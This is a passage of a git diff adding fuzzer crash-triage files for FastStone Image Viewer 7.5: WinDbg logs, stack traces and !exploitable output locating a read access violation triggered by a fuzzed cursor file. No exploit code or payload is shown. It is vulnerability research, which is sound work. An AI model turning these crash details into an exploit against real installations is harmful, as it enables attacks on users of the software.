C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fcc.750): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e07b10 edx=00003879 esi=fe630010 edi=0fc40fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.704455304791082080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.00441e-007 -5.09727e+018 -1.96785e-031 2.96085e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ee8130 07e65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d5000 09200898 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..311410f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FCC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FCC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fcc.750): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e07b10 edx=00003879 esi=fe630010 edi=0fc40fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.704455304791082080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.00441e-007 -5.09727e+018 -1.96785e-031 2.96085e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ee8130 07e65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d5000 09200898 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1b7da8c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4ade694 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bf85e7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2781/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 